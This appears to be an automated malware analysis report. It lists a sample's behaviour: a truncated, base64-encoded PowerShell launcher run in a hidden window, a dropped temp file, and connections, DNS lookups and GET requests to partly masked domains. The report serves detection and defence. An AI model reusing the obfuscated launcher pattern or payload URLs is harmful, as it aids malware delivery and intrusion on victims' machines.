Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB5AG8AdQB0AHMAbwBpAHYAPQAnAHkAbwBvAHQAYwBoAGUAdABkAHUAdQB5AHkAbwB1AHgAawBlAGEAawAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAUgBpAGAAVAB5AF...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 2012
Modifies file system
Creates the following files
- %TEMP%\1128963.cvr
Network activity
Connects to
- 'ki###ani.com':443
- 'ph###huan.com':80
- 'ph###huan.com':443
- 'rm####etstore.com':80
- 'th####rarysamui.com':443
TCP
HTTP GET requests
- http://ph###huan.com/wp-admin/h/
- http://rm####etstore.com/cwu/l6y/
Other
- 'ki###ani.com':443
- 'ph###huan.com':443
- 'th####rarysamui.com':443
UDP
- DNS ASK ki###ani.com
- DNS ASK ph###huan.com
- DNS ASK rm####etstore.com
- DNS ASK fi#####rcleanerstx.com
- DNS ASK th####rarysamui.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB5AG8AdQB0AHMAbwBpAHYAPQAnAHkAbwBvAHQAYwBoAGUAdABkAHUAdQB5AHkAbwB1AHgAawBlAGEAawAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAUgBpAGAAVAB5AF...' (with hidden window)
